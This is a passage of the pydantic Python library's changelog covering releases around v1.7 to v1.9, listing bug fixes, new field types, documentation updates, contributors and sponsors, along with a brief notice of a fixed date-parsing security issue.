  * Add `arm64` binaries suitable for MacOS with an M1 CPU to PyPI, [#3498](https://github.com/pydantic/pydantic/issues/3498) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fix issue where `None` was considered invalid when using a `Union` type containing `Any` or `object`, [#3444](https://github.com/pydantic/pydantic/issues/3444) by [@tharradine](https://github.com/tharradine)
  * When generating field schema, pass optional `field` argument (of type
    `pydantic.fields.ModelField`) to `__modify_schema__()` if present, [#3434](https://github.com/pydantic/pydantic/issues/3434) by [@jasujm](https://github.com/jasujm)
  * Fix issue when pydantic fail to parse `typing.ClassVar` string type annotation, [#3401](https://github.com/pydantic/pydantic/issues/3401) by [@uriyyo](https://github.com/uriyyo)
  * Mention Python >= 3.9.2 as an alternative to `typing_extensions.TypedDict`, [#3374](https://github.com/pydantic/pydantic/issues/3374) by [@BvB93](https://github.com/BvB93)
  * Changed the validator method name in the [Custom Errors example](https://docs.pydantic.dev/usage/models/#custom-errors)
    to more accurately describe what the validator is doing; changed from `name_must_contain_space` to ` value_must_equal_bar`, [#3327](https://github.com/pydantic/pydantic/issues/3327) by [@michaelrios28](https://github.com/michaelrios28)
  * Add `AmqpDsn` class, [#3254](https://github.com/pydantic/pydantic/issues/3254) by [@kludex](https://github.com/kludex)
  * Always use `Enum` value as default in generated JSON schema, [#3190](https://github.com/pydantic/pydantic/issues/3190) by [@joaommartins](https://github.com/joaommartins)
  * Add support for Mypy 0.920, [#3175](https://github.com/pydantic/pydantic/issues/3175) by [@christianbundy](https://github.com/christianbundy)
  * `validate_arguments` now supports `extra` customization (used to always be `Extra.forbid`), [#3161](https://github.com/pydantic/pydantic/issues/3161) by [@PrettyWood](https://github.com/PrettyWood)
  * Complex types can be set by nested environment variables, [#3159](https://github.com/pydantic/pydantic/issues/3159) by [@Air-Mark](https://github.com/Air-Mark)
  * Fix mypy plugin to collect fields based on `pydantic.utils.is_valid_field` so that it ignores untyped private variables, [#3146](https://github.com/pydantic/pydantic/issues/3146) by [@hi-ogawa](https://github.com/hi-ogawa)
  * fix `validate_arguments` issue with `Config.validate_all`, [#3135](https://github.com/pydantic/pydantic/issues/3135) by [@PrettyWood](https://github.com/PrettyWood)
  * avoid dict coercion when using dict subclasses as field type, [#3122](https://github.com/pydantic/pydantic/issues/3122) by [@PrettyWood](https://github.com/PrettyWood)
  * add support for `object` type, [#3062](https://github.com/pydantic/pydantic/issues/3062) by [@PrettyWood](https://github.com/PrettyWood)
  * Updates pydantic dataclasses to keep `_special` properties on parent classes, [#3043](https://github.com/pydantic/pydantic/issues/3043) by [@zulrang](https://github.com/zulrang)
  * Add a `TypedDict` class for error objects, [#3038](https://github.com/pydantic/pydantic/issues/3038) by [@matthewhughes934](https://github.com/matthewhughes934)
  * Fix support for using a subclass of an annotation as a default, [#3018](https://github.com/pydantic/pydantic/issues/3018) by [@JacobHayes](https://github.com/JacobHayes)
  * make `create_model_from_typeddict` mypy compliant, [#3008](https://github.com/pydantic/pydantic/issues/3008) by [@PrettyWood](https://github.com/PrettyWood)
  * Make multiple inheritance work when using `PrivateAttr`, [#2989](https://github.com/pydantic/pydantic/issues/2989) by [@hmvp](https://github.com/hmvp)
  * Parse environment variables as JSON, if they have a `Union` type with a complex subfield, [#2936](https://github.com/pydantic/pydantic/issues/2936) by [@cbartz](https://github.com/cbartz)
  * Prevent `StrictStr` permitting `Enum` values where the enum inherits from `str`, [#2929](https://github.com/pydantic/pydantic/issues/2929) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Make `SecretsSettingsSource` parse values being assigned to fields of complex types when sourced from a secrets file,
    just as when sourced from environment variables, [#2917](https://github.com/pydantic/pydantic/issues/2917) by [@davidmreed](https://github.com/davidmreed)
  * add a dark mode to _pydantic_ documentation, [#2913](https://github.com/pydantic/pydantic/issues/2913) by [@gbdlin](https://github.com/gbdlin)
  * Make `pydantic-mypy` plugin compatible with `pyproject.toml` configuration, consistent with `mypy` changes.
    See the [doc](https://docs.pydantic.dev/mypy_plugin/#configuring-the-plugin) for more information, [#2908](https://github.com/pydantic/pydantic/issues/2908) by [@jrwalk](https://github.com/jrwalk)
  * add Python 3.10 support, [#2885](https://github.com/pydantic/pydantic/issues/2885) by [@PrettyWood](https://github.com/PrettyWood)
  * Correctly parse generic models with `Json[T]`, [#2860](https://github.com/pydantic/pydantic/issues/2860) by [@geekingfrog](https://github.com/geekingfrog)
  * Update contrib docs re: Python version to use for building docs, [#2856](https://github.com/pydantic/pydantic/issues/2856) by [@paxcodes](https://github.com/paxcodes)
  * Clarify documentation about _pydantic_'s support for custom validation and strict type checking,
    despite _pydantic_ being primarily a parsing library, [#2855](https://github.com/pydantic/pydantic/issues/2855) by [@paxcodes](https://github.com/paxcodes)
  * Fix schema generation for `Deque` fields, [#2810](https://github.com/pydantic/pydantic/issues/2810) by [@sergejkozin](https://github.com/sergejkozin)
  * fix an edge case when mixing constraints and `Literal`, [#2794](https://github.com/pydantic/pydantic/issues/2794) by [@PrettyWood](https://github.com/PrettyWood)
  * Fix postponed annotation resolution for `NamedTuple` and `TypedDict` when they're used directly as the type of fields
    within Pydantic models, [#2760](https://github.com/pydantic/pydantic/issues/2760) by [@jameysharp](https://github.com/jameysharp)
  * Fix bug when `mypy` plugin fails on `construct` method call for `BaseSettings` derived classes, [#2753](https://github.com/pydantic/pydantic/issues/2753) by [@uriyyo](https://github.com/uriyyo)
  * Add function overloading for a `pydantic.create_model` function, [#2748](https://github.com/pydantic/pydantic/issues/2748) by [@uriyyo](https://github.com/uriyyo)
  * Fix mypy plugin issue with self field declaration, [#2743](https://github.com/pydantic/pydantic/issues/2743) by [@uriyyo](https://github.com/uriyyo)
  * The colon at the end of the line "The fields which were supplied when user was initialised:" suggests that the code following it is related.
    Changed it to a period, [#2733](https://github.com/pydantic/pydantic/issues/2733) by [@krisaoe](https://github.com/krisaoe)
  * Renamed variable `schema` to `schema_` to avoid shadowing of global variable name, [#2724](https://github.com/pydantic/pydantic/issues/2724) by [@shahriyarr](https://github.com/shahriyarr)
  * Add support for autocomplete in VS Code via `__dataclass_transform__`, [#2721](https://github.com/pydantic/pydantic/issues/2721) by [@tiangolo](https://github.com/tiangolo)
  * add missing type annotations in `BaseConfig` and handle `max_length = 0`, [#2719](https://github.com/pydantic/pydantic/issues/2719) by [@PrettyWood](https://github.com/PrettyWood)
  * Change `orm_mode` checking to allow recursive ORM mode parsing with dicts, [#2718](https://github.com/pydantic/pydantic/issues/2718) by [@nuno-andre](https://github.com/nuno-andre)
  * Add episode 313 of the *Talk Python To Me* podcast, where Michael Kennedy and Samuel Colvin discuss *pydantic*, to the docs, [#2712](https://github.com/pydantic/pydantic/issues/2712) by [@RatulMaharaj](https://github.com/RatulMaharaj)
  * fix JSON schema generation when a field is of type `NamedTuple` and has a default value, [#2707](https://github.com/pydantic/pydantic/issues/2707) by [@PrettyWood](https://github.com/PrettyWood)
  * `Enum` fields now properly support extra kwargs in schema generation, [#2697](https://github.com/pydantic/pydantic/issues/2697) by [@sammchardy](https://github.com/sammchardy)
  * **Breaking Change, see [#3780](https://github.com/pydantic/pydantic/issues/3780)**: Make serialization of referenced pydantic models possible, [#2650](https://github.com/pydantic/pydantic/issues/2650) by [@PrettyWood](https://github.com/PrettyWood)
  * Add `uniqueItems` option to `ConstrainedList`, [#2618](https://github.com/pydantic/pydantic/issues/2618) by [@nuno-andre](https://github.com/nuno-andre)
  * Try to evaluate forward refs automatically at model creation, [#2588](https://github.com/pydantic/pydantic/issues/2588) by [@uriyyo](https://github.com/uriyyo)
  * Switch docs preview and coverage display to use [smokeshow](https://smokeshow.helpmanual.io/), [#2580](https://github.com/pydantic/pydantic/issues/2580) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Add `__version__` attribute to pydantic module, [#2572](https://github.com/pydantic/pydantic/issues/2572) by [@paxcodes](https://github.com/paxcodes)
  * Add `postgresql+asyncpg`, `postgresql+pg8000`, `postgresql+psycopg2`, `postgresql+psycopg2cffi`, `postgresql+py-postgresql`
    and `postgresql+pygresql` schemes for `PostgresDsn`, [#2567](https://github.com/pydantic/pydantic/issues/2567) by [@postgres-asyncpg](https://github.com/postgres-asyncpg)
  * Enable the Hypothesis plugin to generate a constrained decimal when the `decimal_places` argument is specified, [#2524](https://github.com/pydantic/pydantic/issues/2524) by [@cwe5590](https://github.com/cwe5590)
  * Allow `collections.abc.Callable` to be used as type in Python 3.9, [#2519](https://github.com/pydantic/pydantic/issues/2519) by [@daviskirk](https://github.com/daviskirk)
  * Documentation update how to custom compile pydantic when using pip install, small change in `setup.py`
    to allow for custom CFLAGS when compiling, [#2517](https://github.com/pydantic/pydantic/issues/2517) by [@peterroelants](https://github.com/peterroelants)
  * remove side effect of `default_factory` to run it only once even if `Config.validate_all` is set, [#2515](https://github.com/pydantic/pydantic/issues/2515) by [@PrettyWood](https://github.com/PrettyWood)
  * Add lookahead to ip regexes for `AnyUrl` hosts. This allows urls with DNS labels
    looking like IPs to validate as they are perfectly valid host names, [#2512](https://github.com/pydantic/pydantic/issues/2512) by [@sbv-csis](https://github.com/sbv-csis)
  * Set `minItems` and `maxItems` in generated JSON schema for fixed-length tuples, [#2497](https://github.com/pydantic/pydantic/issues/2497) by [@PrettyWood](https://github.com/PrettyWood)
  * Add `strict` argument to `conbytes`, [#2489](https://github.com/pydantic/pydantic/issues/2489) by [@koxudaxi](https://github.com/koxudaxi)
  * Support user defined generic field types in generic models, [#2465](https://github.com/pydantic/pydantic/issues/2465) by [@daviskirk](https://github.com/daviskirk)
  * Add an example and a short explanation of subclassing `GetterDict` to docs, [#2463](https://github.com/pydantic/pydantic/issues/2463) by [@nuno-andre](https://github.com/nuno-andre)
  * add `KafkaDsn` type, `HttpUrl` now has default port 80 for http and 443 for https, [#2447](https://github.com/pydantic/pydantic/issues/2447) by [@MihanixA](https://github.com/MihanixA)
  * Add `PastDate` and `FutureDate` types, [#2425](https://github.com/pydantic/pydantic/issues/2425) by [@Kludex](https://github.com/Kludex)
  * Support generating schema for `Generic` fields with subtypes, [#2375](https://github.com/pydantic/pydantic/issues/2375) by [@maximberg](https://github.com/maximberg)
  * fix(encoder): serialize `NameEmail` to str, [#2341](https://github.com/pydantic/pydantic/issues/2341) by [@alecgerona](https://github.com/alecgerona)
  * add `Config.smart_union` to prevent coercion in `Union` if possible, see
   [the doc](https://docs.pydantic.dev/usage/model_config/#smart-union) for more information, [#2092](https://github.com/pydantic/pydantic/issues/2092) by [@PrettyWood](https://github.com/PrettyWood)
  * Add ability to use `typing.Counter` as a model field type, [#2060](https://github.com/pydantic/pydantic/issues/2060) by [@uriyyo](https://github.com/uriyyo)
  * Add parameterised subclasses to `__bases__` when constructing new parameterised classes, so that `A <: B => A[int] <: B[int]`, [#2007](https://github.com/pydantic/pydantic/issues/2007) by [@diabolo-dan](https://github.com/diabolo-dan)
  * Create `FileUrl` type that allows URLs that conform to [RFC 8089](https://tools.ietf.org/html/rfc8089#section-2).
    Add `host_required` parameter, which is `True` by default (`AnyUrl` and subclasses), `False` in `RedisDsn`, `FileUrl`, [#1983](https://github.com/pydantic/pydantic/issues/1983) by [@vgerak](https://github.com/vgerak)
  * add `confrozenset()`, analogous to `conset()` and `conlist()`, [#1897](https://github.com/pydantic/pydantic/issues/1897) by [@PrettyWood](https://github.com/PrettyWood)
  * stop calling parent class `root_validator` if overridden, [#1895](https://github.com/pydantic/pydantic/issues/1895) by [@PrettyWood](https://github.com/PrettyWood)
  * Add `repr` (defaults to `True`) parameter to `Field`, to hide it from the default representation of the `BaseModel`, [#1831](https://github.com/pydantic/pydantic/issues/1831) by [@fnep](https://github.com/fnep)
  * Accept empty query/fragment URL parts, [#1807](https://github.com/pydantic/pydantic/issues/1807) by [@xavier](https://github.com/xavier)



  !!! warning
      A security vulnerability, level "moderate" is fixed in v1.8.2. Please upgrade **ASAP**.
      See security advisory [CVE-2021-29510](https://github.com/pydantic/pydantic/security/advisories/GHSA-5jqp-qgf6-3pvh)

  * **Security fix:** Fix `date` and `datetime` parsing so passing either `'infinity'` or `float('inf')`
    (or their negative values) does not cause an infinite loop,
    see security advisory [CVE-2021-29510](https://github.com/pydantic/pydantic/security/advisories/GHSA-5jqp-qgf6-3pvh)
  * fix schema generation with Enum by generating a valid name, [#2575](https://github.com/pydantic/pydantic/issues/2575) by [@PrettyWood](https://github.com/PrettyWood)
  * fix JSON schema generation with a `Literal` of an enum member, [#2536](https://github.com/pydantic/pydantic/issues/2536) by [@PrettyWood](https://github.com/PrettyWood)
  * Fix bug with configurations declarations that are passed as
    keyword arguments during class creation, [#2532](https://github.com/pydantic/pydantic/issues/2532) by [@uriyyo](https://github.com/uriyyo)
  * Allow passing `json_encoders` in class kwargs, [#2521](https://github.com/pydantic/pydantic/issues/2521) by [@layday](https://github.com/layday)
  * support arbitrary types with custom `__eq__`, [#2483](https://github.com/pydantic/pydantic/issues/2483) by [@PrettyWood](https://github.com/PrettyWood)
  * support `Annotated` in `validate_arguments` and in generic models with Python 3.9, [#2483](https://github.com/pydantic/pydantic/issues/2483) by [@PrettyWood](https://github.com/PrettyWood)



  Bug fixes for regressions and new features from `v1.8`

  * allow elements of `Config.field` to update elements of a `Field`, [#2461](https://github.com/pydantic/pydantic/issues/2461) by [@samuelcolvin](https://github.com/samuelcolvin)
  * fix validation with a `BaseModel` field and a custom root type, [#2449](https://github.com/pydantic/pydantic/issues/2449) by [@PrettyWood](https://github.com/PrettyWood)
  * expose `Pattern` encoder to `fastapi`, [#2444](https://github.com/pydantic/pydantic/issues/2444) by [@PrettyWood](https://github.com/PrettyWood)
  * enable the Hypothesis plugin to generate a constrained float when the `multiple_of` argument is specified, [#2442](https://github.com/pydantic/pydantic/issues/2442) by [@tobi-lipede-oodle](https://github.com/tobi-lipede-oodle)
  * Avoid `RecursionError` when using some types like `Enum` or `Literal` with generic models, [#2436](https://github.com/pydantic/pydantic/issues/2436) by [@PrettyWood](https://github.com/PrettyWood)
  * do not overwrite declared `__hash__` in subclasses of a model, [#2422](https://github.com/pydantic/pydantic/issues/2422) by [@PrettyWood](https://github.com/PrettyWood)
  * fix `mypy` complaints on `Path` and `UUID` related custom types, [#2418](https://github.com/pydantic/pydantic/issues/2418) by [@PrettyWood](https://github.com/PrettyWood)
  * Support properly variable length tuples of compound types, [#2416](https://github.com/pydantic/pydantic/issues/2416) by [@PrettyWood](https://github.com/PrettyWood)



  Thank you to pydantic's sponsors:
  @jorgecarleitao, [@BCarley](https://github.com/BCarley), [@chdsbd](https://github.com/chdsbd), [@tiangolo](https://github.com/tiangolo), [@matin](https://github.com/matin), [@linusg](https://github.com/linusg), [@kevinalh](https://github.com/kevinalh), [@koxudaxi](https://github.com/koxudaxi), [@timdrijvers](https://github.com/timdrijvers), [@mkeen](https://github.com/mkeen), [@meadsteve](https://github.com/meadsteve),
  @ginomempin, [@primer-io](https://github.com/primer-io), [@and-semakin](https://github.com/and-semakin), [@tomthorogood](https://github.com/tomthorogood), [@AjitZK](https://github.com/AjitZK), [@westonsteimel](https://github.com/westonsteimel), [@Mazyod](https://github.com/Mazyod), [@christippett](https://github.com/christippett), [@CarlosDomingues](https://github.com/CarlosDomingues),
  @Kludex, [@r-m-n](https://github.com/r-m-n)
  for their kind support.



  * [Hypothesis plugin](https://docs.pydantic.dev/hypothesis_plugin/) for testing, [#2097](https://github.com/pydantic/pydantic/issues/2097) by [@Zac-HD](https://github.com/Zac-HD)
  * support for [`NamedTuple` and `TypedDict`](https://docs.pydantic.dev/usage/types/#annotated-types), [#2216](https://github.com/pydantic/pydantic/issues/2216) by [@PrettyWood](https://github.com/PrettyWood)
  * Support [`Annotated` hints on model fields](https://docs.pydantic.dev/usage/schema/#typingannotated-fields), [#2147](https://github.com/pydantic/pydantic/issues/2147) by [@JacobHayes](https://github.com/JacobHayes)
  * [`frozen` parameter on `Config`](https://docs.pydantic.dev/usage/model_config/) to allow models to be hashed, [#1880](https://github.com/pydantic/pydantic/issues/1880) by [@rhuille](https://github.com/rhuille)



  * **Breaking Change**, remove old deprecation aliases from v1, [#2415](https://github.com/pydantic/pydantic/issues/2415) by [@samuelcolvin](https://github.com/samuelcolvin):
    * remove notes on migrating to v1 in docs
    * remove `Schema` which was replaced by `Field`
    * remove `Config.case_insensitive` which was replaced by `Config.case_sensitive` (default `False`)
    * remove `Config.allow_population_by_alias` which was replaced by `Config.allow_population_by_field_name`
    * remove `model.fields` which was replaced by `model.__fields__`
    * remove `model.to_string()` which was replaced by `str(model)`
    * remove `model.__values__` which was replaced by `model.__dict__`
  * **Breaking Change:** always validate only first sublevel items with `each_item`.
    There were indeed some edge cases with some compound types where the validated items were the last sublevel ones, [#1933](https://github.com/pydantic/pydantic/issues/1933) by [@PrettyWood](https://github.com/PrettyWood)
  * Update docs extensions to fix local syntax highlighting, [#2400](https://github.com/pydantic/pydantic/issues/2400) by [@daviskirk](https://github.com/daviskirk)
  * fix: allow `utils.lenient_issubclass` to handle `typing.GenericAlias` objects like `list[str]` in Python >= 3.9, [#2399](https://github.com/pydantic/pydantic/issues/2399) by [@daviskirk](https://github.com/daviskirk)
  * Improve field declaration for _pydantic_ `dataclass` by allowing the usage of _pydantic_ `Field` or `'metadata'` kwarg of `dataclasses.field`, [#2384](https://github.com/pydantic/pydantic/issues/2384) by [@PrettyWood](https://github.com/PrettyWood)
  * Making `typing-extensions` a required dependency, [#2368](https://github.com/pydantic/pydantic/issues/2368) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Make `resolve_annotations` more lenient, allowing for missing modules, [#2363](https://github.com/pydantic/pydantic/issues/2363) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Allow configuring models through class kwargs, [#2356](https://github.com/pydantic/pydantic/issues/2356) by [@Bobronium](https://github.com/Bobronium)
  * Prevent `Mapping` subclasses from always being coerced to `dict`, [#2325](https://github.com/pydantic/pydantic/issues/2325) by [@ofek](https://github.com/ofek)
  * fix: allow `None` for type `Optional[conset / conlist]`, [#2320](https://github.com/pydantic/pydantic/issues/2320) by [@PrettyWood](https://github.com/PrettyWood)
  * Support empty tuple type, [#2318](https://github.com/pydantic/pydantic/issues/2318) by [@PrettyWood](https://github.com/PrettyWood)
  * fix: `python_requires` metadata to require >=3.6.1, [#2306](https://github.com/pydantic/pydantic/issues/2306) by [@hukkinj1](https://github.com/hukkinj1)
  * Properly encode `Decimal` with, or without any decimal places, [#2293](https://github.com/pydantic/pydantic/issues/2293) by [@hultner](https://github.com/hultner)
  * fix: update `__fields_set__` in `BaseModel.copy(update=…)`, [#2290](https://github.com/pydantic/pydantic/issues/2290) by [@PrettyWood](https://github.com/PrettyWood)
  * fix: keep order of fields with `BaseModel.construct()`, [#2281](https://github.com/pydantic/pydantic/issues/2281) by [@PrettyWood](https://github.com/PrettyWood)
  * Support generating schema for Generic fields, [#2262](https://github.com/pydantic/pydantic/issues/2262) by [@maximberg](https://github.com/maximberg)
  * Fix `validate_decorator` so `**kwargs` doesn't exclude values when the keyword
    has the same name as the `*args` or `**kwargs` names, [#2251](https://github.com/pydantic/pydantic/issues/2251) by [@cybojenix](https://github.com/cybojenix)
  * Prevent overriding positional arguments with keyword arguments in
    `validate_arguments`, as per behaviour with native functions, [#2249](https://github.com/pydantic/pydantic/issues/2249) by [@cybojenix](https://github.com/cybojenix)
  * add documentation for `con*` type functions, [#2242](https://github.com/pydantic/pydantic/issues/2242) by [@tayoogunbiyi](https://github.com/tayoogunbiyi)
  * Support custom root type (aka `__root__`) when using `parse_obj()` with nested models, [#2238](https://github.com/pydantic/pydantic/issues/2238) by [@PrettyWood](https://github.com/PrettyWood)
  * Support custom root type (aka `__root__`) with `from_orm()`, [#2237](https://github.com/pydantic/pydantic/issues/2237) by [@PrettyWood](https://github.com/PrettyWood)
  * ensure cythonized functions are left untouched when creating models, based on [#1944](https://github.com/pydantic/pydantic/issues/1944) by [@kollmats](https://github.com/kollmats), [#2228](https://github.com/pydantic/pydantic/issues/2228) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Resolve forward refs for stdlib dataclasses converted into _pydantic_ ones, [#2220](https://github.com/pydantic/pydantic/issues/2220) by [@PrettyWood](https://github.com/PrettyWood)
  * Add support for `NamedTuple` and `TypedDict` types.
    Those two types are now handled and validated when used inside `BaseModel` or _pydantic_ `dataclass`.
    Two utils are also added `create_model_from_namedtuple` and `create_model_from_typeddict`, [#2216](https://github.com/pydantic/pydantic/issues/2216) by [@PrettyWood](https://github.com/PrettyWood)
  * Do not ignore annotated fields when type is `Union[Type[...], ...]`, [#2213](https://github.com/pydantic/pydantic/issues/2213) by [@PrettyWood](https://github.com/PrettyWood)
  * Raise a user-friendly `TypeError` when a `root_validator` does not return a `dict` (e.g. `None`), [#2209](https://github.com/pydantic/pydantic/issues/2209) by [@masalim2](https://github.com/masalim2)
  * Add a `FrozenSet[str]` type annotation to the `allowed_schemes` argument on the `strict_url` field type, [#2198](https://github.com/pydantic/pydantic/issues/2198) by [@Midnighter](https://github.com/Midnighter)
  * add `allow_mutation` constraint to `Field`, [#2195](https://github.com/pydantic/pydantic/issues/2195) by [@sblack-usu](https://github.com/sblack-usu)
  * Allow `Field` with a `default_factory` to be used as an argument to a function
    decorated with `validate_arguments`, [#2176](https://github.com/pydantic/pydantic/issues/2176) by [@thomascobb](https://github.com/thomascobb)
  * Allow non-existent secrets directory by only issuing a warning, [#2175](https://github.com/pydantic/pydantic/issues/2175) by [@davidolrik](https://github.com/davidolrik)
  * fix URL regex to parse fragment without query string, [#2168](https://github.com/pydantic/pydantic/issues/2168) by [@andrewmwhite](https://github.com/andrewmwhite)
  * fix: ensure to always return one of the values in `Literal` field type, [#2166](https://github.com/pydantic/pydantic/issues/2166) by [@PrettyWood](https://github.com/PrettyWood)
  * Support `typing.Annotated` hints on model fields. A `Field` may now be set in the type hint with `Annotated[..., Field(...)`; all other annotations are ignored but still visible with `get_type_hints(..., include_extras=True)`, [#2147](https://github.com/pydantic/pydantic/issues/2147) by [@JacobHayes](https://github.com/JacobHayes)
  * Added `StrictBytes` type as well as `strict=False` option to `ConstrainedBytes`, [#2136](https://github.com/pydantic/pydantic/issues/2136) by [@rlizzo](https://github.com/rlizzo)
  * added `Config.anystr_lower` and `to_lower` kwarg to `constr` and `conbytes`, [#2134](https://github.com/pydantic/pydantic/issues/2134) by [@tayoogunbiyi](https://github.com/tayoogunbiyi)
  * Support plain `typing.Tuple` type, [#2132](https://github.com/pydantic/pydantic/issues/2132) by [@PrettyWood](https://github.com/PrettyWood)
  * Add a bound method `validate` to functions decorated with `validate_arguments`
    to validate parameters without actually calling the function, [#2127](https://github.com/pydantic/pydantic/issues/2127) by [@PrettyWood](https://github.com/PrettyWood)
  * Add the ability to customize settings sources (add / disable / change priority order), [#2107](https://github.com/pydantic/pydantic/issues/2107) by [@kozlek](https://github.com/kozlek)
  * Fix mypy complaints about most custom _pydantic_ types, [#2098](https://github.com/pydantic/pydantic/issues/2098) by [@PrettyWood](https://github.com/PrettyWood)
  * Add a [Hypothesis](https://hypothesis.readthedocs.io/) plugin for easier [property-based testing](https://increment.com/testing/in-praise-of-property-based-testing/) with Pydantic's custom types - [usage details here](https://docs.pydantic.dev/hypothesis_plugin/), [#2097](https://github.com/pydantic/pydantic/issues/2097) by [@Zac-HD](https://github.com/Zac-HD)
  * add validator for `None`, `NoneType` or `Literal[None]`, [#2095](https://github.com/pydantic/pydantic/issues/2095) by [@PrettyWood](https://github.com/PrettyWood)
  * Handle properly fields of type `Callable` with a default value, [#2094](https://github.com/pydantic/pydantic/issues/2094) by [@PrettyWood](https://github.com/PrettyWood)
  * Updated `create_model` return type annotation to return type which inherits from `__base__` argument, [#2071](https://github.com/pydantic/pydantic/issues/2071) by [@uriyyo](https://github.com/uriyyo)
  * Add merged `json_encoders` inheritance, [#2064](https://github.com/pydantic/pydantic/issues/2064) by [@art049](https://github.com/art049)
  * allow overwriting `ClassVar`s in sub-models without having to re-annotate them, [#2061](https://github.com/pydantic/pydantic/issues/2061) by [@layday](https://github.com/layday)
  * add default encoder for `Pattern` type, [#2045](https://github.com/pydantic/pydantic/issues/2045) by [@PrettyWood](https://github.com/PrettyWood)
  * Add `NonNegativeInt`, `NonPositiveInt`, `NonNegativeFloat`, `NonPositiveFloat`, [#1975](https://github.com/pydantic/pydantic/issues/1975) by [@mdavis-xyz](https://github.com/mdavis-xyz)
  * Use % for percentage in string format of colors, [#1960](https://github.com/pydantic/pydantic/issues/1960) by [@EdwardBetts](https://github.com/EdwardBetts)
  * Fixed issue causing `KeyError` to be raised when building schema from multiple `BaseModel` with the same names declared in separate classes, [#1912](https://github.com/pydantic/pydantic/issues/1912) by [@JSextonn](https://github.com/JSextonn)
  * Add `rediss` (Redis over SSL) protocol to `RedisDsn`
    Allow URLs without `user` part (e.g., `rediss://:pass@localhost`), [#1911](https://github.com/pydantic/pydantic/issues/1911) by [@TrDex](https://github.com/TrDex)
  * Add a new `frozen` boolean parameter to `Config` (default: `False`).
    Setting `frozen=True` does everything that `allow_mutation=False` does, and also generates a `__hash__()` method for the model. This makes instances of the model potentially hashable if all the attributes are hashable, [#1880](https://github.com/pydantic/pydantic/issues/1880) by [@rhuille](https://github.com/rhuille)
  * fix schema generation with multiple Enums having the same name, [#1857](https://github.com/pydantic/pydantic/issues/1857) by [@PrettyWood](https://github.com/PrettyWood)
  * Added support for 13/19 digits VISA credit cards in `PaymentCardNumber` type, [#1416](https://github.com/pydantic/pydantic/issues/1416) by [@AlexanderSov](https://github.com/AlexanderSov)
  * fix: prevent `RecursionError` while using recursive `GenericModel`s, [#1370](https://github.com/pydantic/pydantic/issues/1370) by [@xppt](https://github.com/xppt)
  * use `enum` for `typing.Literal` in JSON schema, [#1350](https://github.com/pydantic/pydantic/issues/1350) by [@PrettyWood](https://github.com/PrettyWood)
  * Fix: some recursive models did not require `update_forward_refs` and silently behaved incorrectly, [#1201](https://github.com/pydantic/pydantic/issues/1201) by [@PrettyWood](https://github.com/PrettyWood)
  * Fix bug where generic models with fields where the typevar is nested in another type `a: List[T]` are considered to be concrete. This allows these models to be subclassed and composed as expected, [#947](https://github.com/pydantic/pydantic/issues/947) by [@daviskirk](https://github.com/daviskirk)
  * Add `Config.copy_on_model_validation` flag. When set to `False`, _pydantic_ will keep models used as fields
    untouched on validation instead of reconstructing (copying) them, [#265](https://github.com/pydantic/pydantic/issues/265) by [@PrettyWood](https://github.com/PrettyWood)



  * **Security fix:** Fix `date` and `datetime` parsing so passing either `'infinity'` or `float('inf')`
    (or their negative values) does not cause an infinite loop,
    See security advisory [CVE-2021-29510](https://github.com/pydantic/pydantic/security/advisories/GHSA-5jqp-qgf6-3pvh)



  Thank you to pydantic's sponsors:
  @timdrijvers, [@BCarley](https://github.com/BCarley), [@chdsbd](https://github.com/chdsbd), [@tiangolo](https://github.com/tiangolo), [@matin](https://github.com/matin), [@linusg](https://github.com/linusg), [@kevinalh](https://github.com/kevinalh), [@jorgecarleitao](https://github.com/jorgecarleitao), [@koxudaxi](https://github.com/koxudaxi), [@primer-api](https://github.com/primer-api),
  @mkeen, [@meadsteve](https://github.com/meadsteve) for their kind support.

  * fix: set right default value for required (optional) fields, [#2142](https://github.com/pydantic/pydantic/issues/2142) by [@PrettyWood](https://github.com/PrettyWood)
  * fix: support `underscore_attrs_are_private` with generic models, [#2138](https://github.com/pydantic/pydantic/issues/2138) by [@PrettyWood](https://github.com/PrettyWood)
  * fix: update all modified field values in `root_validator` when `validate_assignment` is on, [#2116](https://github.com/pydantic/pydantic/issues/2116) by [@PrettyWood](https://github.com/PrettyWood)
  * Allow pickling of `pydantic.dataclasses.dataclass` dynamically created from a built-in `dataclasses.dataclass`, [#2111](https://github.com/pydantic/pydantic/issues/2111) by [@aimestereo](https://github.com/aimestereo)
  * Fix a regression where Enum fields would not propagate keyword arguments to the schema, [#2109](https://github.com/pydantic/pydantic/issues/2109) by [@bm424](https://github.com/bm424)
  * Ignore `__doc__` as private attribute when `Config.underscore_attrs_are_private` is set, [#2090](https://github.com/pydantic/pydantic/issues/2090) by [@PrettyWood](https://github.com/PrettyWood)



  * fix slow `GenericModel` concrete model creation, allow `GenericModel` concrete name reusing in module, [#2078](https://github.com/pydantic/pydantic/issues/2078) by [@Bobronium](https://github.com/Bobronium)
  * keep the order of the fields when `validate_assignment` is set, [#2073](https://github.com/pydantic/pydantic/issues/2073) by [@PrettyWood](https://github.com/PrettyWood)
  * forward all the params of the stdlib `dataclass` when converted into _pydantic_ `dataclass`, [#2065](https://github.com/pydantic/pydantic/issues/2065) by [@PrettyWood](https://github.com/PrettyWood)



  Thank you to pydantic's sponsors:
  @timdrijvers, [@BCarley](https://github.com/BCarley), [@chdsbd](https://github.com/chdsbd), [@tiangolo](https://github.com/tiangolo), [@matin](https://github.com/matin), [@linusg](https://github.com/linusg), [@kevinalh](https://github.com/kevinalh), [@jorgecarleitao](https://github.com/jorgecarleitao), [@koxudaxi](https://github.com/koxudaxi), [@primer-api](https://github.com/primer-api), [@mkeen](https://github.com/mkeen)
  for their kind support.

  * fix annotation of `validate_arguments` when passing configuration as argument, [#2055](https://github.com/pydantic/pydantic/issues/2055) by [@layday](https://github.com/layday)
  * Fix mypy assignment error when using `PrivateAttr`, [#2048](https://github.com/pydantic/pydantic/issues/2048) by [@aphedges](https://github.com/aphedges)
  * fix `underscore_attrs_are_private` causing `TypeError` when overriding `__init__`, [#2047](https://github.com/pydantic/pydantic/issues/2047) by [@samuelcolvin](https://github.com/samuelcolvin)
  * Fixed regression introduced in v1.7 involving exception handling in field validators when `validate_assignment=True`, [#2044](https://github.com/pydantic/pydantic/issues/2044) by [@johnsabath](https://github.com/johnsabath)
  * fix: _pydantic_ `dataclass` can inherit from stdlib `dataclass`
